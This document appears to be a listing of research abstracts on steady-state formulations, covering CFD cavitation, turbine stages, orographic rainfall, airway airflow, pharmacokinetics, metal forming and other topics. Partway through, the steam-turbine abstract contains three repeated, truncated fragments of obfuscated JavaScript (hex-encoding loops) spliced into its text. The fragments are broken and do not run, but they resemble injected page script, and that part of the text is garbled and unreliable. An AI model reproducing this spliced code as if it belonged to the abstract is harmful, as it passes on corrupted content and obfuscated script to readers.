Steady-state Formulation Research Articles

Cavitation modeling for steady-state CFD simulations

Cavitation in hydraulic turbomachines is an important phenomenon to be considered for performance predictions. Correct analysis of the cavitation onset and its effect on the flow field while diminishing the pressure level need therefore to be investigated. Even if cavitation often appears as an unsteady phenomenon, the capability to compute it in a steady state formulation for the design and assessment phase in the product development process is very useful for the engineer. In the present paper the development and corresponding application of a steady state CFD solver is presented, based on the open source toolbox OpenFOAM®. In the first part a review of different cavitation models is presented. Adopting the mixture-type cavitation approach, various models are investigated and developed in a steady state CFD RANS solver. Particular attention is given to the coupling between cavitation and turbulence models as well as on the underlying numerical procedure, especially the integration in the pressure- correction step of pressure-based solvers, which plays an important role in the stability of the procedure. The performance of the proposed model is initially assessed on simple cases available in the open literature. In a second step results for different applications are presented, ranging from airfoils to pumps.

Introducing a level-set based shape and topology optimization method for the wear of composite materials with geometric constraints

The wear of materials continues to be a limiting factor in the lifetime and performance of mechanical systems with sliding surfaces. As the demand for low wear materials grows so does the need for models and methods to systematically optimize tribological systems. Elastic foundation models offer a simplified framework to study the wear of multimaterial composites subject to abrasive sliding. Previously, the evolving wear profile has been shown to converge to a steady-state that is characterized by a time-independent elliptic equation. In this article, the steady-state formulation is generalized and integrated with shape optimization to improve the wear performance of bi-material composites. Both macroscopic structures and periodic material microstructures are considered. Several common tribological objectives for systems undergoing wear are identified and mathematically formalized with shape derivatives. These include (i) achieving a planar wear surface from multimaterial composites and (ii) minimizing the run-in volume of material lost before steady-state wear is achieved. A level-set based topology optimization algorithm that incorporates a novel constraint on the level-set function is presented. In particular, a new scheme is developed to update material interfaces; the scheme (i) conveniently enforces volume constraints at each iteration, (ii) controls the complexity of design features using perimeter penalization, and (iii) nucleates holes or inclusions with the topological gradient. The broad applicability of the proposed formulation for problems beyond wear is discussed, especially for problems where convenient control of the complexity of geometric features is desired.

Investigation of aerodynamic and energy characteristics of L.P.C. compartment of stages with inlet pipe and leak system for powerful steam turbine unit

The results of computational and engineering developments and numerical studies of the inlet pipe compartment with the first three stages are represented, taking into account the steam extraction, leak ages under the diaphragms, shroud seals and discharge openings in the disks of low pressure cylinder of the turbine K-1250-6,9/25. All the computations were based on the model of one speed wet steam flow without droplets and supercooling was not taken into account. The sectorial approach was applied to description of the interaction of the inlet pipe and the group stages. The stages were considered in steady state formulation. The initial data and boundary conditions were taken basing on thermal design of ²TURBOATOM². Some methodological aspects and the results of improving of studied facilities by numerical experiment by MTFS® code are discussed. It is shown that the main total pressure loss in inlet pipe arises in collector and in place of its connection with tube. The improvement of inlet pipe annular collector due to the profiled sheets and input tube knee reduces the internal loss coefficient in 2 times. The axial length of the radial-axial outlet channel increase and the height of the splitter reduction almost no effect on the internal losses, but significantly (by 45%) reduce the coefficient of circumferential non-uniformity of static pressure at the stage inlet. Based on the item-evaluation of the effectiveness the final version of the inlet (M7) is developed. It is revealed that the inlet flow angles on the nozzle edges in the left and right sides of the inlet pipe are substantially symmetrical, i.e. the back effect of stages on the inlet pipe is small. The KE loss on the nozzles of 1st stage in the different sectors is different; on sectors of 1st blade row the loss and load are uniform. This effect persists for the next stages. Studies of the first three stages of the compartment based on leaks through the seal and discharge openings, sucking and suction, steam extraction showed that the root suctions behind the nozzles comply with the recommendations of MEI. Design of new seal for blade rows of 1st and 2nd stages in real boundary conditions showed a relatively high efficiency and the weak dependence on flow rate for axial position of the rotor relatively to the stator. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o

Orographic Precipitation in Coastal Southern Chile: Mean Distribution, Temporal Variability, and Linear Contribution

AbstractThe Nahuelbuta Mountains (NM) are a semielliptical massif 1300 m high in coastal southern Chile (37°–38°S) facing frontal storms that move from the Pacific. Mean precipitation between 900 and 1200 mm yr−1 is observed in the surrounding lowland, but river flow measurements suggest values ≥3000 mm yr−1 atop the mountains. To verify and characterize such marked orographic enhancement, 15 rain gauges were deployed around and over the NM. The observations were supplemented by a high-resolution WRF simulation and linear theory (LT) modeling during the winter of 2011. The estimated mean precipitation increases gradually from offshore (~1000 mm yr−1) to the north-facing foothills (2000 mm yr−1). The precipitation rapidly increases in the upslope sector to reach ~4000 mm yr−1 over the northern half of the NM elevated plateau, and decreases farther south to reach background values 20–30 km downstream of the mountains. The upstream (downstream) orographic enhancement (suppression) was relatively uniform among storms when considering event accumulations but varied substantially within each storm, with larger modifications during pre- and postfrontal stages and minor modifications during the brief but intense frontal passage. WRF results are in good agreement with observations in terms of seasonal and daily mean rainfall distributions, as well as temporal variability. Given its linear, steady-state formulation, the LT model cannot resolve rainfall variability at short (hourly) time scales, which in WRF is at least characterized by transient, mesoscale rainbands. Nonetheless, the rainbands are mobile so the accumulation field at monthly or longer time scales produced by the linear model is remarkably similar to its WRF counterpart.

Computational airflow analysis before and after maxillomandibular advancement surgery

BackgroundThe purpose of this study was to analyze pharyngeal airflow using computational fluid dynamics (CFD) in obstructive sleep apnea (OSA) patients before and after maxillomandibular advancement (MMA). MethodsDigitized pharyngeal airway models of 19 obstructive sleep apnea patients were generated from cone beam computed tomography scans presurgery and an average of 18.3 ± 17.3 days postsurgery. CFD was used to simulate and characterize pharyngeal airflow, which was assumed to be turbulent at an inspiration rate of 340 mL/s. Standard steady-state numerical formulation were used for airflow simulations. ResultsMean pressure drop during inspiration was significantly reduced from 34.82 ± 65.65 Pa presurgery to 3.06 ± 3.96 Pa postsurgery. Mean maximum airflow velocity along the airway was also significantly reduced from 11.14 ± 8.49 m/s presurgery to 4.09 ± 3.07 m/s postsurgery. There was a significant increase in mean airway volume of 66.8% postsurgery. There was a 75% mean reduction in airway resistance postsurgery. There was a decrease in the pressure gradient and total pressure drop postsurgery for all 19 patients. There was a statistically significant moderate, negative correlation between the change in airway resistance and the change in airway volume postsurgery. No correlation was found between skeletal advancement and airway volume or airway resistance. ConclusionsA decrease in relative pressure implies less effort required for maintaining constant pharyngeal airflow according to CFD analyses on airways of OSA patients after MMA surgery.

Axisymmetric gravity currents in two-layer density-stratified media

Numerous studies have considered the flow of a rectilinear, high Reynolds number, Boussinesq gravity current through a two-layer stratified ambient, however, far less is known concerning the analogue axisymmetric problem. Whereas in both instances there is the possibility of a dynamic coupling between the gravity current front and the waves that are excited by its forward advance, axisymmetric gravity currents entail the added complexity of a radially-diverging flow. Because a steady-state formulation cannot then be developed, we instead present a one-layer shallow water model that describes the flow evolution for various initial conditions and ambient stratifications. We also report upon $$>\!\!30$$ full- and partial-depth lock release laboratory experiments that span a densitometric range $$0 \le S < 0.8868$$ where $$S=(\rho _1-\rho _2)/(\rho _c-\rho _2)$$ in which $$\rho _c$$ , $$\rho _1$$ and $$\rho _2$$ denote, respectively, the densities of the gravity current and lower and upper ambient layers. Of principal interest is the initial front speed of the gravity current for which good agreement is observed between laboratory measurement and shallow water numerical simulation, despite the limiting assumptions of the latter. The horizontal distance over which the initial front speed is maintained may span several lock-lengths, however, this depends on whether or not the gravity current is substantially impacted by the interfacial wave(s). For example, when the lower ambient layer is moderate and $$S$$ is large, the transfer of momentum from the gravity current front to the wave may lead to a deceleration so severe that gravity current fluid is swept in the $$-r$$ direction. The connection between our analysis and problems of pollution dispersion is briefly outlined.

An Assessment of the Pharmacokinetics of a Sustained-release Formulation of a Tramadol/Acetaminophen Combination in Healthy Subjects

PurposeTo provide consistent pain relief and improve convenient sustained release (SR), a fixed-dose combination tramadol/acetaminophen tablet was formulated. This study aimed to evaluate the pharmacokinetic profiles of an SR 75-mg tramadol/650-mg acetaminophen formulation after a single dose compared with an immediate release (IR) 37.5-mg tramadol/325-mg acetaminophen formulation after 2 doses and at steady state and to assess the effect of food on the pharmacokinetic SR formulation profile after a single dose. MethodsTwo clinical trials were conducted: (1) an open-label, randomized, 3-period, 3-treatment, crossover study to assess the pharmacokinetic SR (one 75-mg tramadol/650-mg acetaminophen combination tablet) formulation profiles after a single dose and IR (one 37.5-mg tramadol/325-mg acetaminophen combination tablet q6h for 2 doses) formulation profiles after 2 doses and the effect of food intake on healthy male subjects and (2) an open, randomized, 2-period, 2-treatment multiple dose crossover study to evaluate the steady-state pharmacokinetic SR and IR formulation profiles. Safety assessments were performed. FindingsForty-three subjects completed each study protocol. The SR combination tramadol/acetaminophen formulation was clinically and statistically equivalent to the IR combination formulation in the fasting state. When tramadol and acetaminophen tablets were administered with food, the time to peak plasma concentrations and the tramadol/acetaminophen absorption were unaffected. There was no serious adverse event reported. ImplicationsThe SR combination tramadol/acetaminophen tablet exhibited similar exposure and absorption rates compared with those of the IR formulation of tramadol, O-desmethyltramadol, and acetaminophen. The SR formulation may be more convenient for patients and has the potential to enhance compliance and pain control. ClinicalTrials.gov identifier: NCT01880125

Water flux dynamics in closed-loop, batch-mode forward osmosis systems

Although several models have been proposed in the literature for the water flux performance in forward osmosis (FO), the fundamental basis, employing the steady-state approximation, remains unchanged. Yet when empirical studies in FO make use of closed-loop, batch systems, both water and solute transport evolve dynamically in time. In this paper, we consider the water flux dynamics and solute kinetics for a closed-loop FO setup, while accounting for the non-linear coupling between solute back diffusion and water transfer as time evolves. This is achieved via a system of non-linear ordinary differential equations that dictates the coupled dynamics of water and solute transport, written in terms of two important dimensionless parameters: the osmotic Peclet number and the solute permeability. Numerical simulations reveal that the solute concentration at the dense layer, interior to the membrane, is non-monotonic in time, thus introducing a new time dependence on the relationship between the water flux and the solute concentration. Model predictions for the time dependency of the water flux are further verified experimentally using sodium chloride as draw solution. These results indicate that caution is required during model fitting procedures employing the classical steady-state formulation in closed-loop FO systems.

Efficient Numerical Simulation of Steady-State Metal Forming Processes by an Iterative Surface Calculation

The 3D finite element simulations of processes like multi-pass rolling or drawing often result into exorbitant computational times that make the numerical approach almost infeasible while only the “stationary” step of the process is actually of interest for the industry. Therefore, it can be advantageously simulated by resorting to steady-state formulations which allows reducing the calculation time by, at least, an order of magnitude with respect to more conventional methods where the steady regime is incrementally calculated. A general and robust formulation is developed; it is suitable for parallel computing, compatible with unstructured meshes and general enough to apply to a wide range of forming processes. It consists in alternatively resolving the “simple” steady-state material forming problem for a given domain geometry and then computing the domain corrections that allow satisfying the free surface condition. Within the “simple forming problem”, a Streamline Upwind Petrov Galerkin (SUPG) method is used to integrate the state variables along the streamlines. For the domain geometry correction, a Least Squares formulation with an Upwind shift is introduced. The two resolutions are coupled by the contact equations. This method is applied to several metal forming problems such as 3D rolling and drawing. Results show the high efficiency of the method with respect to an incremental resolution. Computational time is reduced by a factor ranging between 20 and 30. Results are as accurate as with an incremental method. Convergence is always reached whatever the initial geometry of the domain at the beginning of the iterative algorithm.

Enhancing and Calibrating the Rakha-Pasumarthy-Adjerid Car-Following Model using Naturalistic Driving Data

The research presented in this paper analyzes the simplified behavioral vehicle longitudinal motion model, currently implemented in the INTEGRATION software, known as the Rakha-Pasumarthy-Adjerid (RPA) model. The model utilizes a steady-state formulation along with two constraints, namely: acceleration and collision avoidance. An analysis of the model using the naturalistic driving data identified a deficiency in the model formulation, in that it predicts more conservative driving behavior compared to naturalistic driving. Much of the error in simulated car-following behavior occurs when a car-following event is initiated at a spacing that is often much shorter than is desired. The observed behavior is that, rather than the following vehicle decelerating aggressively, the following vehicle coasts until the desired headway/spacing is achieved. Consequently, the model is enhanced to reflect this empirically observed behavior. Finally, a quantitative and qualitative evaluation of the original and proposed model formulations demonstrates that the proposed modification significantly decreases the modeling error and produces car-following behavior that is consistent with empirically observed driver behavior.

Weak Formulations with Upwind Shift for Calculation of Free Surface Corrections and Simulation of Steady-State Forming Problems

For many material forming processes steady-state formulations allows reducing numerical simulation time by an order of magnitude with respect to more conventional approaches. In the presented approach, the steady regime is iteratively computed by a free surface algorithm that alternates computations of the metal forming flow over a known geometry and known contact surfaces, with computations of domain corrections to satisfy free and contact surface conditions. Several weak formulations of the second problem equations are investigated to get a robust algorithm suitable for parallel computations with unstructured meshes. Analytical problems show the necessity to introduce an upwind shift within these weak formulations. Contact inequations enforces this necessity by requiring a more dramatic shift. A robust and accurate algorithm is so obtained, which is successfully applied to 3D complex metal forming processes like rolling. In the wire drawing application, computational time is reduced by more than fifteen with respect to the incremental calculation of the steady-state.

Helicopter Rotor Design Using a Time-Spectral and Adjoint-Based Method

A time-spectral and adjoint-based optimization method was developed and applied to helicopter rotor design for unsteady level flight. The time-spectral method is a fast and accurate computational fluid dynamics algorithm for computing unsteady flows. It transforms the flow-governing equations into a periodic steady state by using a Fourier spectral derivative operator. An accompanying steady-state adjoint formulation was implemented in the time-spectral form of the governing equations to enable design optimization for unsteady flows. The time-spectral analysis was validated against conventional time-accurate computational fluid dynamics computation and flight test data of a UH-60A helicopter rotor during high-speed forward flight. A multidisciplinary analysis of blade structural dynamics was carried out through a comprehensive analysis coupling procedure that accounted for aeroelasticity and enforced vehicle trim. The adjoint-based design method was applied to optimize the blade shape of the UH-60A rotor. Power minimization was pursued with nonlinear constraints on the thrust and rotor drag force. The blade twist distribution, sectional airfoil shape, and outboard planform shape comprised over 100 design variables. Starting from the initial blade, the optimizer found a new design that showed improved performance. The validation results coupled with the multidisciplinary comprehensive analysis confirmed actual improvement: a 5% decrease in torque accompanied by a decrease in thrust of less than 1%.

An Efficient Numerical Method and Parametric Study for Electrolyte Transport in the Renal Medulla

Mathematical models of the mamalian urine concentrating mechanism consist of a large system of coupled, nonlinear and stiff equations. An efficient numerical orthogonal collocation method was employed to solve the steady-state formulation of urine concentrating mechanism. This method was used to solve the stiff and high order equations of electrolyte transport in a central core, single nephron model of the renal outer medulla. The presented results were in good agreement with implicit finite difference method’s results, but this new method was faster and more stable. Due to the greater stability and larger convergence domain of collocation method over Newton’s method, a parametric study on concentrated urine was investigated. The results showed that this model was sensitive to non-ideal countercurrent exchange between medulla interstitium and vasa recta. Although distal tubule lies in the cortex interstitium, it affects on the inflow to the collecting duct. This study showed that the effect of changing membrane transport properties of distal tubule wall on properties of outflow from the outer medulla collecting duct was considerable.

Nonequilibrium fluctuation theorems from equilibrium fluctuations

A system can be driven to nonequilibrium behavior in the presence of thermodynamic imbalances in its environment, such as temperature or chemical potential differences. In derivations of far-from-equilibrium fluctuation theorems, such imbalances are typically modeled as fixed, externally imposed thermodynamic forces. Here, we argue that fluctuation theorems can instead be understood in terms of the equilibrium dynamics of a larger supersystem, containing both the system of interest and its thermal surroundings. To this end, we consider rare fluctuations that spontaneously produce imbalances in the surroundings. In the aftermath of such fluctuations, the system of interest transiently behaves as though it were in the presence of an externally applied thermodynamic force. By applying the principle of detailed balance to these rare events, we recover the fluctuation theorem in both its transient and steady-state formulations.

MODELLING THE EFFECT OF XYLEM AND PHLOEM TRANSPORT ON LEAF GAS EXCHANGE

Whole tree water and carbon relations are mediated between the leaves and carbon sinks in the form of water potential and osmotic concentration through long distance xylem and phloem transport within the tree. Here we present a whole tree level model which couples these source, sink and transport processes. We demonstrate how xylem and phloem transport capacity, together with soil water and sink sugar status, set limits to the maximum leaf gas exchange that can be sustained by a plant in steady state. We further show that when down-regulation of photosynthetic capacity depending on leaf sugar concentration is added to the model formulation, the typically observed stomatal behaviour in relation to environmental drivers and sink status can be qualitatively understood by maximization of the simultaneous photosynthesis production. In our steady state formulation, the rate of photosynthetic production equals the phloem transport rate, and the rate of sugar utilization in the sinks.

Somatosensory evoked changes in cerebral oxygen consumption measured non-invasively in premature neonates

The hemodynamic functional response is used as a reliable marker of neuronal activity in countless studies of brain function and cognition. In newborns and infants, however, conflicting results have appeared in the literature concerning the typical response, and there is little information on brain metabolism and functional activation. Measurement of all hemodynamic components and oxygen metabolism is critical for understanding neurovascular coupling in the developing brain.To this end, we combined multiple near infrared spectroscopy techniques to measure oxy- and deoxy-hemoglobin concentrations, cerebral blood volume (CBV), and relative cerebral blood flow (CBF) in the somatosensory cortex of 6 preterm neonates during passive tactile stimulation of the hand. By combining these measures we estimated relative changes in the cerebral metabolic rate of oxygen consumption (rCMRO2).CBF starts increasing immediately after stimulus onset, and returns to baseline before blood volume. This is consistent with the model of pre-capillary arteriole active dilation driving the CBF response, with a subsequent CBV increase influenced by capillaries and veins dilating passively to accommodate the extra blood. rCMRO2 estimated using the steady-state formulation shows a biphasic pattern: an increase immediately after stimulus onset, followed by a post-stimulus undershoot due to blood flow returning faster to baseline than oxygenation. However, assuming a longer mean transit time from the arterial to the venous compartment, due to the immature vascular system of premature infants, reduces the post-stimulus undershoot and increases the flow/consumption ratio to values closer to adult values reported in the literature.We are the first to report changes in local rCBF and rCMRO2 during functional activation in preterm infants. The ability to measure these variables in addition to hemoglobin concentration changes is critical for understanding neurovascular coupling in the developing brain, and for using this coupling as a reliable functional imaging marker in neonates.

On uncertainty and local sensitivity analysis for transient conjugate heat transfer problems

The need for simulating real-world behavior of automobiles has led to more and more sophisticated models being added of various physical phenomena for being coupled together. This increases the number of parameters to be set and, consequently, the required knowledge of their relative importance for the solution and the theory behind them. Sensitivity and uncertainty analysis provides the knowledge of parameter importance. In this paper a thermal radiation solver is considered that performs conduction calculations and receives heat transfer coefficient and fluid temperate at a thermal node. The equations of local, discrete, and transient sensitivities for the conjugate heat transfer model solved by the finite difference method are being derived for some parameters. In the past, formulations for the finite element method have been published. This paper builds on the steady-state formulation published previously by the author. A numerical analysis on the stability of the solution matrix is being conducted. From those normalized sensitivity coefficients are calculated dimensionless uncertainty factors. On a simplified example the relative importance of the heat transfer modes at various locations is then investigated by those uncertainty factors and their changes over time.

Fluorescence of colloidal PbSe/PbS QDs in NIR luminescent solar concentrators

For applications in luminescent solar concentrators harvesting subgap photons, either via direct irradiation of solar cells with optimized band gap or via sensitization of an up-conversion process, exact knowledge and tunability of both the spectral shape and the intensity of the emission are of paramount importance. In this work, we investigate theoretically the photoluminescence spectra of colloidal core-shell PbSe/PbS QDs with type II alignments in the valence band. The method builds on a steady-state formulation of the non-equilibrium Greens function theory for a microscopic system of coupled electrons, photons and phonons interfaced with electronic structure calculations based on a k·p model for PbSe/PbS core-shell QDs. The resulting output spectral density of photons in a realistic QD ensemble is obtained via the renormalization of the incident spectrum according to the polarization of the system.

Patterns in pharyngeal airflow associated with sleep-disordered breathing

To establish the feasibility of a noninvasive method to identify pharyngeal airflow characteristics in sleep-disordered breathing. Four patients with sleep-disordered breathing who underwent surgery or used positive airway pressure devices and four normal healthy controls were studied. Three-dimensional CT imaging and computational fluid dynamics modeling with standard steady-state numerical formulation were used to characterize pharyngeal airflow behavior in normals and pre-and post-treatment in patients. Dynamic flow simulations using an unsteady approach were performed in one patient. The pre-treatment pharyngeal airway below the minimum cross-sectional area obstruction site showed airflow separation. This generated recirculation airflow regions and enhanced turbulence zones where vortices developed. This interaction induced large fluctuations in airflow variables and increased aerodynamic forces acting on the pharyngeal wall. At post-treatment, for the same volumetric flow rate, airflow field instabilities vanished and airflow characteristics improved. Mean maximum airflow velocity during inspiration reduced from 18.3±5.7 m/s pre-treatment to 6.3±4.5 m/s post-treatment (P=0.002), leading to a reduction in maximum wall shear stress from 4.8±1.7 Pa pre-treatment to 0.9±1.0 Pa post-treatment (P=0.01). The airway resistance improved from 4.3±1.4 Pa/L/min at pre-treatment to 0.7±0.7 Pa/L/min at post-treatment (P=0.004). Post-treatment airflow characteristics were not different from normal controls (all P ≥ 0.39). This study demonstrates that pharyngeal airflow variables may be derived from CT imaging and computational fluid dynamics modeling, resulting in high quality visualizations of airflow characteristics of axial velocity, static pressure, and wall shear stress in sleep-disordered breathing.

Multiscale FE simulation of diffusion-deformation processes in homogenized dual-porous media

AbstractThe paper deals with a model of the homogenized fluid saturated porous material which recently was obtained by the authors using the asymptotic analysis of the Biot type medium characterized by the double porosity. The homogenized macroscopic model is featured by the fading memory effects arising from the microflow in the dual porosity. We derive the steady state formulations and discuss several topics related to the numerical implementation of the model, namely the solution procedure of the discretized microscopic problems, evaluation of the homogenized coefficients and an approximation of the convolution integrals of the macroscopic model, so that the fading memory effects are computationally tractable. Numerical examples are presented to illustrate the approximation schemes discussed in the paper. All computations were performed using the in-house developed finite element code SfePy allowing the multiscale simulations. Besides various potential engineering applications, the present model is intended for simulations of compact bone poroelasticity.